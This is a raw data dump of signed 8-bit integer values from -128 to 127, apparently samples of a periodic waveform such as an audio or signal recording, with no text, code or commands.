+-50 +-109 +-128 +-128 +-101 +23 +127 +127 +127 +42 +-50 +-109 +-128 +-128 +-102 +22 +127 +127 +127 +41 +-50 +-108 +-128 +-128 +-106 +22 +127 +127 +127 +44 +-48 +-110 +-128 +-111 +12 +110 +83 +-19 +-100 +-128 +-128 +-102 +29 +124 +100 +-1 +-69 +-128 +-128 +-88 +40 +127 +109 +6 +-79 +-128 +-128 +-84 +46 +127 +115 +12 +-75 +-128 +-128 +-80 +48 +127 +118 +14 +-73 +-128 +-128 +-76 +52 +127 +119 +16 +-70 +-128 +-128 +-75 +54 +127 +120 +18 +-70 +-128 +-128 +-74 +54 +127 +121 +17 +-70 +-128 +-128 +-75 +52 +127 +122 +17 +-71 +-128 +-128 +-76 +52 +127 +120 +15 +-68 +-128 +-128 +-73 +55 +127 +122 +17 +-70 +-128 +-128 +-73 +55 +127 +125 +17 +-67 +-128 +-128 +-72 +55 +127 +122 +18 +-69 +-128 +-128 +-71 +55 +127 +123 +18 +-69 +-128 +-128 +-73 +56 +127 +124 +20 +-68 +-128 +-128 +-72 +56 +127 +123 +18 +-68 +-128 +-128 +-70 +54 +127 +122 +20 +-67 +-128 +-128 +-72 +54 +127 +124 +19 +-68 +-128 +-128 +-72 +55 +127 +122 +17 +-70 +-128 +-128 +-71 +55 +127 +123 +19 +-68 +-128 +-128 +-72 +54 +127 +123 +17 +-69 +-128 +-128 +-71 +55 +127 +122 +19 +-68 +-128 +-128 +-71 +54 +127 +122 +17 +-69 +-128 +-128 +-71 +55 +127 +124 +19 +-68 +-128 +-128 +-71 +55 +127 +123 +18 +-69 +-128 +-128 +-71 +55 +127 +124 +19 +-68 +-128 +-128 +-71 +55 +127 +124 +18 +-69 +-128 +-128 +-72 +55 +127 +123 +19 +-68 +-128 +-128 +-71 +54 +127 +124 +18 +-68 +-128 +-128 +-71 +55 +127 +123 +18 +-69 +-128 +-128 +-71 +55 +127 +123 +18 +-69 +-128 +-128 +-73 +56 +127 +124 +20 +-68 +-128 +-128 +-128 +-66 +61 +127 +127 +127 +75 +-22 +-103 +-128 +-128 +-79 +48 +127 +127 +127 +61 +-34 +-98 +-128 +-128 +-106 +37 +127 +127 +127 +52 +-42 +-101 +-128 +-128 +-112 +33 +127 +127 +127 +49 +-45 +-106 +-128 +-128 +-98 +29 +127 +127 +127 +47 +-45 +-106 +-128 +-128 +-100 +27 +127 +127 +127 +45 +-48 +-109 +-128 +-128 +-101 +26 +127 +113 +10 +-75 +-128 +-128 +-68 +38 +127 +105 +3 +-82 +-128 +-128 +-73 +39 +127 +109 +7 +-80 +-128 +-128 +-67 +44 +127 +116 +11 +-76 +-128 +-128 +-81 +50 +127 +115 +13 +-70 +-128 +-128 +-76 +52 +127 +118 +15 +-70 +-128 +-128 +-74 +52 +127 +121 +17 +-70 +-128 +-128 +-73 +52 +127 +122 +18 +-70 +-128 +-128 +-72 +53 +127 +122 +18 +-69 +-128 +-128 +-72 +52 +127 +118 +16 +-70 +-128 +-128 +-76 +57 +127 +120 +18 +-67 +-128 +-128 +-74 +55 +127 +121 +18 +-70 +-128 +-128 +-72 +54 +127 +122 +18 +-69 +-128 +-128 +-74 +53 +127 +119 +16 +-70 +-128 +-128 +-75 +52 +127 +122 +16 +-67 +-128 +-128 +-72 +55 +127 +122 +18 +-69 +-128 +-128 +-72 +55 +127 +123 +21 +-70 +-128 +-128 +-72 +55 +127 +122 +18 +-69 +-128 +-128 +-72 +54 +127 +125 +19 +-69 +-128 +-128 +-72 +55 +127 +124 +21 +-69 +-128 +-128 +-72 +54 +127 +122 +18 +-69 +-128 +-128 +-74 +56 +127 +124 +19 +-70 +-128 +-128 +-74 +56 +127 +122 +18 +-68 +-128 +-128 +-71 +55 +127 +122 +18 +-69 +-128 +-128 +-72 +54 +127 +123 +18 +-69 +-128 +-128 +-72 +54 +127 +123 +19 +-69 +-128 +-128 +-75 +52 +127 +123 +16 +-67 +-128 +-128 +-73 +54 +127 +123 +20 +-68 +-128 +-128 +-72 +53 +127 +124 +17 +-67 +-128 +-128 +-74 +52 +127 +122 +17 +-71 +-128 +-128 +-76 +55 +127 +120 +17 +-67 +-128 +-128 +-73 +55 +127 +123 +19 +-69 +-128 +-128 +-72 +56 +127 +123 +20 +-68 +-128 +-128 +-72 +56 +127 +123 +18 +-69 +-128 +-128 +-73 +56 +127 +123 +20 +-68 +-128 +-128 +-71 +55 +127 +122 +19 +-69 +-128 +-128 +-72 +54 +127 +123 +19 +-69 +-128 +-128 +-70 +53 +127 +120 +17 +-70 +-128 +-128 +-74 +56 +127 +124 +20 +-68 +-128 +-128 +-72 +56 +127 +124 +20 +-68 +-128 +-128 +-71 +54 +127 +122 +18 +-69 +-128 +-128 +-72 +54 +127 +124 +19 +-68 +-128 +-128 +-72 +53 +127 +124 +18 +-68 +-128 +-128 +-74 +51 +127 +124 +17 +-70 +-128 +-128 +-76 +55 +127 +120 +17 +-67 +-128 +-128 +-73 +54 +127 +122 +18 +-68 +-128 +-128 +-72 +56 +127 +122 +18 +-68 +-128 +-128 +-71 +54 +127 +122 +18 +-69 +-128 +-128 +-72 +54 +127 +122 +18 +-69 +-128 +-128 +-72 +54 +127 +123 +19 +-68 +-128 +-128 +-72 +56 +127 +122 +19 +-68 +-128 +-128 +-71 +55 +127 +123 +19 +-68 +-128 +-128 +-71 +53 +127 +119 +16 +-70 +-128 +-128 +-75 +53 +127 +122 +17 +-67 +-128 +-128 +-72 +55 +127 +123 +19 +-68 +-128 +-128 +-73 +56 +127 +124 +18 +-67 +-128 +-128 +-74 +52 +127 +127 +127 +47 +-42 +-106 +-128 +-128 +-102 +42 +127 +127 +127 +58 +-35 +-97 +-128 +-128 +-106 +34 +127 +127 +127 +49 +-44 +-102 +-128 +-128 +-112 +32 +127 +127 +127 +48 +-45 +-107 +-128 +-128 +-99 +30 +127 +127 +127 +45 +-45 +-107 +-128 +-128 +-104 +24 +127 +127 +127 +44 +-46 +-110 +-128 +-128 +-101 +26 +127 +127 +127 +44 +-48 +-109 +-128 +-107 +18 +110 +85 +-17 +-97 +-128 +-128 +-100 +28 +126 +100 +-1 +-69 +-128 +-128 +-88 +39 +127 +109 +6 +-79 +-128 +-128 +-83 +46 +127 +113 +12 +-74 +-128 +-128 +-78 +47 +127 +114 +11 +-73 +-128 +-128 +-80 +50 +127 +117 +14 +-69 +-128 +-128 +-77 +51 +127 +118 +16 +-70 +-128 +-128 +-73 +52 +127 +123 +16 +-68 +-128 +-128 +-75 +51 +127 +124 +17 +-71 +-128 +-128 +-75 +52 +127 +118 +16 +-71 +-128 +-128 +-75 +52 +127 +122 +17 +-71 +-128 +-128 +-76 +53 +127 +122 +17 +-66 +-128 +-128 +-72 +55 +127 +124 +19 +-69 +-128 +-128 +-72 +56 +127 +123 +18 +-69 +-128 +-128 +-73 +57 +127 +122 +18 +-69 +-128 +-128 +-73 +56 +127 +124 +18 +-70 +-128 +-128 +-128 +-66 +59 +127 +127 +127 +74 +-24 +-102 +-128 +-128 +-78 +45 +127 +127 +127 +58 +-34 +-112 +-128 +-128 +-107 +34 +127 +127 +127 +53 +-38 +-103 +-128 +-128 +-110 +33 +127 +127 +127 +50 +-44 +-105 +-128 +-128 +-97 +29 +127 +127 +127 +49 +-48 +-105 +-128 +-128 +-101 +26 +127 +127 +127 +43 +-50 +-108 +-128 +-128 +-100 +26 +127 +115 +11 +-75 +-128 +-128 +-69 +41 +127 +106 +3 +-81 +-128 +-128 +-72 +41 +127 +111 +7 +-76 +-128 +-128 +-79 +46 +127 +115 +14 +-73 +-128 +-128 +-77 +51 +127 +119 +16 +-71 +-128 +-128 +-74 +51 +127 +120 +15 +-70 +-128 +-128 +-73 +52 +127 +120 +17 +-70 +-128 +-128 +-73 +53 +127 +122 +18 +-70 +-128 +-128 +-71 +53 +127 +120 +18 +-68 +-128 +-128 +-72 +53 +127 +123 +21 +-70 +-128 +-128 +-73 +55 +127 +124 +18 +-69 +-128 +-128 +-72 +55 +127 +123 +19 +-68 +-128 +-128 +-72 +54 +127 +123 +18 +-70 +-128 +-128 +-73 +55 +127 +123 +21 +-70 +-128 +-128 +-72 +56 +127 +122 +18 +-69 +-128 +-128 +-73 +56 +127 +122 +19 +-68 +-128 +-128 +-72 +56 +127 +121 +19 +-68 +-128 +-128 +-71 +53 +127 +119 +16 +-68 +-128 +-128 +-74 +53 +127 +119 +16 +-71 +-128 +-128 +-74 +51 +127 +124 +16 +-68 +-128 +-128 +-72 +56 +127 +122 +20 +-68 +-128 +-128 +-73 +56 +127 +122 +20 +-68 +-128 +-128 +-73 +56 +127 +124 +19 +-69 +-128 +-128 +-74 +55 +127 +124 +19 +-69 +-128 +-128 +-74 +53 +127 +120 +17 +-70 +-128 +-128 +-75 +52 +127 +123 +16 +-67 +-128 +-128 +-72 +55 +127 +122 +18 +-69 +-128 +-128 +-71 +55 +127 +123 +19 +-68 +-128 +-128 +-72 +54 +127 +123 +19 +-68 +-128 +-128 +-72 +56 +127 +123 +19 +-68 +-128 +-128 +-72 +53 +127 +123 +21 +-69 +-128 +-128 +-75 +52 +127 +122 +17 +-66 +-128 +-128 +-74 +56 +127 +127 +127 +48 +-44 +-105 +-128 +-128 +-102 +42 +127 +127 +127 +59 +-36 +-97 +-128 +-128 +-105 +35 +127 +127 +127 +51 +-43 +-103 +-128 +-128 +-111 +29 +127 +127 +127 +49 +-44 +-106 +-128 +-128 +-99 +28 +127 +127 +127 +46 +-46 +-107 +-128 +-128 +-100 +26 +127 +127 +127 +44 +-48 +-108 +-128 +-128 +-100 +24 +127 +127 +127 +43 +-46 +-110 +-128 +-109 +16 +111 +82 +-17 +-98 +-128 +-128 +-102 +30 +124 +100 +1 +-71 +-128 +-128 +-89 +40 +127 +108 +6 +-78 +-128 +-128 +-82 +46 +127 +114 +11 +-75 +-128 +-128 +-78 +48 +127 +117 +13 +-73 +-128 +-128 +-77 +52 +127 +120 +17 +-72 +-128 +-128 +-74 +52 +127 +120 +16 +-71 +-128 +-128 +-75 +54 +127 +120 +16 +-69 +-128 +-128 +-128 +-67 +62 +127 +127 +127 +75 +-22 +-103 +-128 +-128 +-78 +48 +127 +127 +127 +59 +-35 +-112 +-128 +-128 +-104 +36 +127 +127 +127 +53 +-40 +-102 +-128 +-128 +-110 +32 +127 +127 +127 +49 +-44 +-106 +-128 +-128 +-97 +30 +127 +127 +127 +46 +-45 +-107 +-128 +-128 +-99 +27 +127 +127 +127 +45 +-47 +-108 +-128 +-106 +18 +112 +84 +-15 +-97 +-128 +-128 +-100 +28 +126 +102 +0 +-69 +-128 +-128 +-88 +39 +127 +110 +7 +-79 +-128 +-128 +-83 +44 +127 +113 +10 +-76 +-128 +-128 +-79 +47 +127 +118 +14 +-73 +-128 +-128 +-77 +52 +127 +120 +15 +-73 +-128 +-128 +-75 +52 +127 +120 +16 +-70 +-128 +-128 +-73 +51 +127 +118 +15 +-70 +-128 +-128 +-76 +50 +127 +123 +15 +-69 +-128 +-128 +-74 +54 +127 +122 +17 +-68 +-128 +-128 +-72 +54 +127 +124 +21 +-70 +-128 +-128 +-72 +54 +127 +122 +17 +-69 +-128 +-128 +-72 +55 +127 +123 +18 +-69 +-128 +-128 +-72 +54 +127 +124 +19 +-69 +-128 +-128 +-72 +54 +127 +124 +19 +-69 +-128 +-128 +-72 +56 +127 +123 +19 +-68 +-128 +-128 +-72 +54 +127 +124 +19 +-69 +-128 +-128 +-74 +53 +127 +121 +17 +-70 +-128 +-128 +-75 +54 +127 +122 +17 +-66 +-128 +-128 +-73 +54 +127 +123 +20 +-68 +-128 +-128 +-72 +56 +127 +124 +17 +-67 +-128 +-128 +-71 +55 +127 +123 +18 +-68 +-128 +-128 +-72 +57 +127 +126 +19 +-69 +-128 +-128 +-72 +55 +127 +123 +18 +-68 +-128 +-128 +-72 +54 +127 +124 +19 +-68 +-128 +-128 +-71 +55 +127 +123 +18 +-69 +-128 +-128 +-71 +53 +127 +121 +19 +-66 +-128 +-128 +-75 +55 +127 +122 +20 +-71 +-128 +-128 +-74 +52 +127 +123 +17 +-70 +-128 +-128 +-75 +54 +127 +121 +17 +-66 +-128 +-128 +-73 +54 +127 +123 +19 +-68 +-128 +-128 +-72 +55 +127 +122 +18 +-69 +-128 +-128 +-72 +55 +127 +123 +19 +-68 +-128 +-128 +-71 +55 +127 +124 +19 +-69 +-128 +-128 +-74 +53 +127 +120 +16 +-71 +-128 +-128 +-75 +52 +127 +124 +16 +-67 +-128 +-128 +-73 +55 +127 +123 +18 +-69 +-128 +-128 +-71 +55 +127 +123 +19 +-68 +-128 +-128 +-72 +56 +127 +122 +19 +-68 +-128 +-128 +-72 +54 +127 +124 +18 +-68 +-128 +-128 +-128 +-66 +61 +127 +127 +127 +75 +-22 +-102 +-128 +-128 +-78 +47 +127 +127 +127 +61 +-34 +-97 +-128 +-128 +-104 +38 +127 +127 +127 +52 +-38 +-101 +-128 +-128 +-110 +31 +127 +127 +127 +48 +-45 +-106 +-128 +-128 +-97 +30 +127 +127 +127 +47 +-46 +-107 +-128 +-128 +-101 +28 +127 +127 +127 +44 +-46 +-108 +-128 +-128 +-102 +27 +127 +112 +10 +-76 +-128 +-128 +-69 +41 +127 +106 +2 +-80 +-128 +-128 +-70 +41 +127 +110 +8 +-77 +-128 +-128 +-80 +47 +127 +116 +13 +-74 +-128 +-128 +-78 +50 +127 +119 +13 +-71 +-128 +-128 +-75 +51 +127 +119 +15 +-71 +-128 +-128 +-74 +53 +127 +121 +17 +-70 +-128 +-128 +-73 +53 +127 +122 +18 +-70 +-128 +-128 +-72 +54 +127 +127 +127 +48 +-43 +-105 +-128 +-128 +-102 +40 +127 +127 +127 +57 +-36 +-112 +-128 +-128 +-109 +35 +127 +127 +127 +52 +-42 +-104 +-128 +-128 +-112 +32 +127 +127 +127 +48 +-44 +-106 +-128 +-128 +-99 +28 +127 +127 +127 +48 +-48 +-106 +-128 +-128 +-100 +27 +127 +127 +127 +44 +-48 +-109 +-128 +-128 +-103 +27 +127 +127 +127 +43 +-49 +-110 +-128 +-128 +-101 +25 +127 +127 +127 +43 +-49 +-109 +-128 +-128 +-101 +23 +127 +127 +127 +45 +-49 +-109 +-128 +-128 +-102 +26 +127 +127 +127 +43 +-49 +-111 +-128 +-128 +-103 +25 +127 +127 +127 +43 +-47 +-109 +-128 +-128 +-102 +26 +127 +127 +127 +42 +-50 +-111 +-128 +-128 +-102 +25 +127 +127 +127 +44 +-49 +-110 +-128 +-128 +-101 +25 +127 +112 +9 +-77 +-128 +-128 +-68 +37 +127 +104 +4 +-84 +-128 +-128 +-75 +38 +127 +110 +6 +-76 +-128 +-128 +-66 +47 +127 +116 +13 +-73 +-128 +-128 +-78 +50 +127 +118 +16 +-71 +-128 +-128 +-76 +52 +127 +121 +16 +-71 +-128 +-128 +-76 +52 +127 +122 +15 +-68 +-128 +-128 +-75 +50 +127 +120 +16 +-72 +-128 +-128 +-76 +54 +127 +120 +17 +-67 +-128 +-128 +-73 +55 +127 +122 +19 +-68 +-128 +-128 +-72 +54 +127 +123 +19 +-69 +-128 +-128 +-72 +53 +127 +122 +21 +-69 +-128 +-128 +-75 +53 +127 +122 +17 +-67 +-128 +-128 +-74 +54 +127 +122 +20 +-68 +-128 +-128 +-72 +56 +127 +123 +19 +-68 +-128 +-128 +-72 +56 +127 +124 +19 +-68 +-128 +-128 +-71 +54 +127 +123 +18 +-69 +-128 +-128 +-71 +55 +127 +123 +19 +-68 +-128 +-128 +-72 +56 +127 +124 +17 +-67 +-128 +-128 +-74 +51 +127 +124 +17 +-67 +-128 +-128 +-72 +55 +127 +123 +19 +-68 +-128 +-128 +-72 +54 +127 +123 +19 +-68 +-128 +-128 +-72 +54 +127 +122 +18 +-69 +-128 +-128 +-74 +53 +127 +122 +18 +-70 +-128 +-128 +-74 +51 +127 +123 +17 +-70 +-128 +-128 +-76 +54 +127 +121 +17 +-66 +-128 +-128 +-74 +54 +127 +120 +19 +-66 +-128 +-128 +-72 +55 +127 +121 +18 +-70 +-128 +-128 +-72 +54 +127 +123 +19 +-67 +-128 +-128 +-72 +55 +127 +122 +18 +-69 +-128 +-128 +-71 +53 +127 +119 +16 +-70 +-128 +-128 +-75 +52 +127 +124 +16 +-67 +-128 +-128 +-72 +56 +127 +123 +19 +-68 +-128 +-128 +-72 +56 +127 +124 +17 +-68 +-128 +-128 +-74 +56 +127 +122 +18 +-69 +-128 +-128 +-72 +54 +127 +123 +19 +-69 +-128 +-128 +-71 +53 +127 +119 +16 +-70 +-128 +-128 +-75 +55 +127 +121 +17 +-67 +-128 +-128 +-72 +55 +127 +123 +19 +-69 +-128 +-128 +-73 +56 +127 +122 +18 +-69 +-128 +-128 +-72 +56 +127 +124 +19 +-70 +-128 +-128 +-72 +54 +127 +123 +19 +-69 +-128 +-128 +-71 +53 +127 +121 +18 +-68 +-128 +-128 +-72 +54 +127 +123 +18 +-68 +-128 +-128 +-74 +53 +127 +122 +20 +-68 +-128 +-128 +-75 +52 +127 +122 +16 +-67 +-128 +-128 +-74 +55 +127 +123 +19 +-69 +-128 +-128 +-71 +55 +127 +122 +19 +-68 +-128 +-128 +-72 +54 +127 +123 +19 +-69 +-128 +-128 +-74 +53 +127 +119 +16 +-70 +-128 +-128 +-76 +56 +127 +120 +18 +-66 +-128 +-128 +-72 +56 +127 +122 +18 +-69 +-128 +-128 +-72 +54 +127 +124 +19 +-69 +-128 +-128 +-73 +56 +127 +120 +19 +-66 +-128 +-128 +-72 +56 +127 +124 +19 +-68 +-128 +-128 +-72 +56 +127 +124 +19 +-70 +-128 +-128 +-72 +54 +127 +123 +19 +-68 +-128 +-128 +-71 +54 +127 +123 +18 +-69 +-128 +-128 +-71 +55 +127 +123 +19 +-69 +-128 +-128 +-72 +55 +127 +122 +17 +-69 +-128 +-128 +-73 +56 +127 +123 +21 +-70 +-128 +-128 +-72 +55 +127 +122 +18 +-69 +-128 +-128 +-72 +54 +127 +123 +19 +-68 +-128 +-128 +-72 +55 +127 +123 +19 +-68 +-128 +-128 +-72 +53 +127 +121 +19 +-67 +-128 +-128 +-72 +56 +127 +122 +18 +-69 +-128 +-128 +-73 +54 +127 +121 +17 +-68 +-128 +-128 +-71 +54 +127 +123 +18 +-69 +-128 +-128 +-72 +54 +127 +123 +19 +-69 +-128 +-128 +-72 +55 +127 +122 +21 +-70 +-128 +-128 +-71 +54 +127 +122 +18 +-69 +-128 +-128 +-74 +54 +127 +123 +18 +-68 +-128 +-128 +-71 +54 +127 +123 +18 +-69 +-128 +-128 +-72 +55 +127 +123 +19 +-69 +-128 +-128 +-71 +54 +127 +122 +18 +-69 +-128 +-128 +-72 +55 +127 +121 +18 +-68 +-128 +-128 +-71 +53 +127 +119 +16 +-69 +-128 +-128 +-75 +56 +127 +120 +17 +-66 +-128 +-128 +-73 +54 +127 +124 +20 +-68 +-128 +-128 +-71 +54 +127 +123 +18 +-67 +-128 +-128 +-71 +54 +127 +124 +20 +-68 +-128 +-128 +-74 +56 +127 +122 +18 +-69 +-128 +-128 +-72 +54 +127 +123 +18 +-69 +-128 +-128 +-71 +55 +127 +123 +19 +-69 +-128 +-128 +-72 +53 +127 +122 +20 +-68 +-128 +-128 +-76 +53 +127 +121 +16 +-67 +-128 +-128 +-72 +55 +127 +123 +20 +-68 +-128 +-128 +-71 +54 +127 +123 +18 +-68 +-128 +-128 +-71 +53 +127 +121 +17 +-68 +-128 +-128 +-71 +54 +127 +123 +19 +-68 +-128 +-128 +-71 +54 +127 +123 +18 +-68 +-128 +-128 +-72 +54 +127 +123 +19 +-69 +-128 +-128 +-71 +53 +127 +122 +18 +-70 +-128 +-128 +-73 +54 +127 +123 +19 +-68 +-128 +-128 +-72 +55 +127 +122 +18 +-69 +-128 +-128 +-71 +55 +127 +123 +19 +-68 +-128 +-128 +-72 +55 +127 +123 +19 +-68 +-128 +-128 +-72 +56 +127 +122 +18 +-68 +-128 +-128 +-71 +52 +127 +118 +16 +-71 +-128 +-128 +-75 +53 +127 +122 +16 +-67 +-128 +-128 +-72 +55 +127 +122 +18 +-69 +-128 +-128 +-74 +52 +127 +122 +18 +-70 +-128 +-128 +-75 +52 +127 +123 +17 +-67 +-128 +-128 +-72 +56 +127 +122 +18 +-69 +-128 +-128 +-73 +55 +127 +123 +21 +-70 +-128 +-128 +-75 +51 +127 +123 +16 +-67 +-128 +-128 +-72 +54 +127 +122 +18 +-70 +-128 +-128 +-72 +56 +127 +121 +20 +-67 +-128 +-128 +-75 +52 +127 +122 +17 +-66 +-128 +-128 +-74 +55 +127 +123 +19 +-69 +-128 +-128 +-73 +55 +127 +121 +19 +-68 +-128 +-128 +-72 +54 +127 +121 +19 +-67 +-128 +-128 +-71 +53 +127 +119 +16 +-70 +-128 +-128 +-74 +52 +127 +124 +16 +-68 +-128 +-128 +-73 +56 +127 +122 +20 +-68 +-128 +-128 +-72 +56 +127 +122 +19 +-68 +-128 +-128 +-71 +54 +127 +123 +18 +-69 +-128 +-128 +-72 +55 +127 +124 +17 +-67 +-128 +-128 +-75 +52 +127 +123 +16 +-67 +-128 +-128 +-72 +55 +127 +122 +18 +-68 +-128 +-128 +-71 +53 +127 +127 +127 +47 +-45 +-103 +-128 +-128 +-103 +42 +127 +127 +127 +59 +-34 +-98 +-128 +-128 +-107 +37 +127 +127 +127 +51 +-43 +-103 +-128 +-128 +-111 +30 +127 +127 +127 +48 +-46 +-105 +-128 +-128 +-98 +26 +127 +127 +127 +44 +-49 +-107 +-128 +-128 +-101 +28 +127 +127 +127 +44 +-49 +-108 +-128 +-128 +-100 +25 +127 +127 +127 +44 +-48 +-110 +-128 +-108 +16 +111 +84 +-16 +-98 +-128 +-128 +-99 +27 +127 +100 +-2 +-70 +-128 +-128 +-89 +40 +127 +106 +6 +-77 +-128 +-128 +-83 +45 +127 +114 +11 +-75 +-128 +-128 +-79 +49 +127 +117 +13 +-73 +-128 +-128 +-76 +50 +127 +118 +14 +-72 +-128 +-128 +-76 +52 +127 +119 +17 +-69 +-128 +-128 +-73 +52 +127 +118 +14 +-70 +-128 +-128 +-77 +55 +127 +120 +16 +-67 +-128 +-128 +-72 +55 +127 +123 +18 +-69 +-128 +-128 +-72 +54 +127 +123 +18 +-69 +-128 +-128 +-73 +56 +127 +124 +18 +-69 +-128 +-128 +-72 +55 +127 +122 +18 +-68 +-128 +-128 +-72 +54 +127 +121 +17 +-68 +-128 +-128 +-71 +53 +127 +120 +16 +-68 +-128 +-128 +-75 +52 +127 +124 +16 +-68 +-128 +-128 +-72 +55 +127 +123 +18 +-69 +-128 +-128 +-74 +54 +127 +122 +19 +-67 +-128 +-128 +-72 +56 +127 +123 +19 +-68 +-128 +-128 +-71 +54 +127 +123 +17 +-69 +-128 +-128 +-71 +55 +127 +124 +19 +-68 +-128 +-128 +-72 +54 +127 +123 +18 +-68 +-128 +-128 +-72 +56 +127 +123 +18 +-68 +-128 +-128 +-73 +55 +127 +123 +18 +-69 +-128 +-128 +-72 +55 +127 +122 +18 +-69 +-128 +-128 +-71 +55 +127 +123 +18 +-69 +-128 +-128 +-71 +54 +127 +122 +18 +-69 +-128 +-128 +-72 +55 +127 +124 +18 +-69 +-128 +-128 +-72 +54 +127 +124 +19 +-68 +-128 +-128 +-71 +56 +127 +122 +18 +-69 +-128 +-128 +-73 +56 +127 +120 +18 +-66 +-128 +-128 +-74 +55 +127 +124 +16 +-67 +-128 +-128 +-73 +56 +127 +124 +17 +-68 +-128 +-128 +-73 +55 +127 +124 +20 +-69 +-128 +-128 +-71 +56 +127 +123 +18 +-69 +-128 +-128 +-72 +55 +127 +124 +21 +-70 +-128 +-128 +-72 +56 +127 +124 +19 +-68 +-128 +-128 +-74 +53 +127 +120 +17 +-71 +-128 +-128 +-74 +53 +127 +122 +17 +-70 +-128 +-128 +-75 +54 +127 +122 +17 +-66 +-128 +-128 +-72 +55 +127 +122 +19 +-68 +-128 +-128 +-71 +53 +127 +119 +15 +-71 +-128 +-128 +-74 +54 +127 +122 +17 +-66 +-128 +-128 +-72 +54 +127 +124 +19 +-68 +-128 +-128 +-72 +56 +127 +124 +17 +-67 +-128 +-128 +-72 +56 +127 +124 +18 +-69 +-128 +-128 +-72 +55 +127 +122 +18 +-68 +-128 +-128 +-73 +56 +127 +124 +16 +-67 +-128 +-128 +-128 +-68 +63 +127 +127 +127 +75 +-21 +-102 +-128 +-128 +-78 +48 +127 +127 +127 +61 +-34 +-97 +-128 +-128 +-106 +37 +127 +127 +127 +52 +-39 +-101 +-128 +-128 +-111 +33 +127 +127 +127 +49 +-44 +-105 +-128 +-128 +-98 +29 +127 +127 +127 +46 +-46 +-106 +-128 +-128 +-99 +26 +127 +127 +127 +43 +-49 +-107 +-128 +-109 +14 +114 +85 +-18 +-80 +-128 +-128 +-100 +30 +125 +98 +-1 +-69 +-128 +-128 +-88 +38 +127 +111 +5 +-77 +-128 +-128 +-82 +46 +127 +114 +11 +-75 +-128 +-128 +-78 +49 +127 +118 +14 +-73 +-128 +-128 +-77 +52 +127 +118 +15 +-72 +-128 +-128 +-76 +54 +127 +122 +14 +-69 +-128 +-128 +-74 +54 +127 +120 +18 +-69 +-128 +-128 +-72 +53 +127 +121 +20 +-68 +-128 +-128 +-76 +52 +127 +122 +16 +-67 +-128 +-128 +-73 +54 +127 +123 +19 +-68 +-128 +-128 +-72 +54 +127 +124 +18 +-69 +-128 +-128 +-72 +55 +127 +125 +19 +-68 +-128 +-128 +-73 +55 +127 +125 +17 +-67 +-128 +-128 +-72 +56 +127 +124 +20 +-69 +-128 +-128 +-72 +55 +127 +124 +19 +-68 +-128 +-128 +-73 +55 +127 +123 +19 +-68 +-128 +-128 +-71 +54 +127 +123 +19 +-69 +-128 +-128 +-71 +53 +127 +124 +21 +-70 +-128 +-128 +-72 +56 +127 +124 +20 +-68 +-128 +-128 +-71 +55 +127 +124 +20 +-68 +-128 +-128 +-72 +54 +127 +123 +17 +-68 +-128 +-128 +-71 +54 +127 +123 +19 +-69 +-128 +-128 +-71 +55 +127 +124 +19 +-68 +-128 +-128 +-72 +56 +127 +124 +19 +-69 +-128 +-128 +-73 +56 +127 +121 +20 +-66 +-128 +-128 +-75 +51 +127 +124 +16 +-68 +-128 +-128 +-72 +56 +127 +124 +19 +-68 +-128 +-128 +-71 +54 +127 +123 +18 +-69 +-128 +-128 +-72 +55 +127 +124 +19 +-68 +-128 +-128 +-73 +56 +127 +125 +17 +-67 +-128 +-128 +-75 +52 +127 +124 +16 +-68 +-128 +-128 +-73 +55 +127 +121 +19 +-68 +-128 +-128 +-72 +55 +127 +124 +19 +-68 +-128 +-128 +-73 +56 +127 +125 +17 +-67 +-128 +-128 +-71 +55 +127 +123 +18 +-69 +-128 +-128 +-70 +55 +127 +123 +18 +-69 +-128 +-128 +-74 +54 +127 +120 +16 +-70 +-128 +-128 +-75 +53 +127 +123 +16 +-67 +-128 +-128 +-73 +54 +127 +123 +19 +-68 +-128 +-128 +-71 +55 +127 +124 +19 +-68 +-128 +-128 +-71 +55 +127 +123 +18 +-69 +-128 +-128 +-72 +54 +127 +123 +18 +-69 +-128 +-128 +-70 +54 +127 +124 +18 +-69 +-128 +-128 +-73 +54 +127 +122 +17 +-68 +-128 +-128 +-72 +54 +127 +123 +19 +-69 +-128 +-128 +-71 +55 +127 +124 +19 +-69 +-128 +-128 +-72 +56 +127 +124 +19 +-69 +-128 +-128 +-74 +55 +127 +123 +19 +-69 +-128 +-128 +-71 +54 +127 +124 +18 +-69 +-128 +-128 +-71 +56 +127 +124 +19 +-69 +-128 +-128 +-72 +57 +127 +124 +20 +-69 +-128 +-128 +-72 +55 +127 +123 +18 +-69 +-128 +-128 +-71 +54 +127 +124 +18 +-69 +-128 +-128 +-72 +55 +127 +123 +18 +-69 +-128 +-128 +-73 +56 +127 +121 +19 +-66 +-128 +-128 +-128 +-68 +63 +127 +127 +127 +75 +-21 +-100 +-128 +-128 +-77 +47 +127 +127 +127 +59 +-36 +-98 +-128 +-128 +-104 +39 +127 +127 +127 +53 +-40 +-102 +-128 +-128 +-110 +34 +127 +127 +127 +49 +-44 +-106 +-128 +-128 +-98 +28 +127 +127 +127 +45 +-46 +-107 +-128 +-128 +-99 +25 +127 +127 +127 +44 +-50 +-109 +-128 +-128 +-105 +26 +127 +127 +127 +42 +-46 +-111 +-128 +-128 +-103 +26 +127 +127 +127 +44 +-48 +-109 +-128 +-128 +-102 +25 +127 +127 +127 +44 +-48 +-109 +-128 +-128 +-102 +23 +127 +127 +127 +45 +-49 +-108 +-128 +-128 +-104 +25 +127 +127 +127 +43 +-48 +-109 +-128 +-128 +-102 +26 +127 +127 +127 +43 +-49 +-110 +-128 +-128 +-103 +26 +127 +127 +127 +43 +-49 +-109 +-128 +-107 +15 +109 +81 +-17 +-99 +-128 +-128 +-102 +30 +124 +101 +-2 +-68 +-128 +-128 +-91 +35 +127 +110 +4 +-80 +-128 +-128 +-84 +46 +127 +113 +10 +-75 +-128 +-128 +-79 +47 +127 +118 +13 +-74 +-128 +-128 +-76 +50 +127 +120 +16 +-72 +-128 +-128 +-74 +53 +127 +120 +16 +-70 +-128 +-128 +-74 +53 +127 +120 +17 +-68 +-128 +-128 +-73 +55 +127 +122 +17 +-69 +-128 +-128 +-74 +56 +127 +122 +17 +-68 +-128 +-128 +-71 +54 +127 +124 +18 +-68 +-128 +-128 +-72 +54 +127 +124 +18 +-68 +-128 +-128 +-72 +54 +127 +123 +19 +-69 +-128 +-128 +-73 +56 +127 +124 +17 +-67 +-128 +-128 +-71 +52 +127 +120 +16 +-71 +-128 +-128 +-75 +51 +127 +124 +16 +-68 +-128 +-128 +-73 +56 +127 +124 +19 +-68 +-128 +-128 +-74 +52 +127 +122 +17 +-70 +-128 +-128 +-76 +54 +127 +122 +17 +-66 +-128 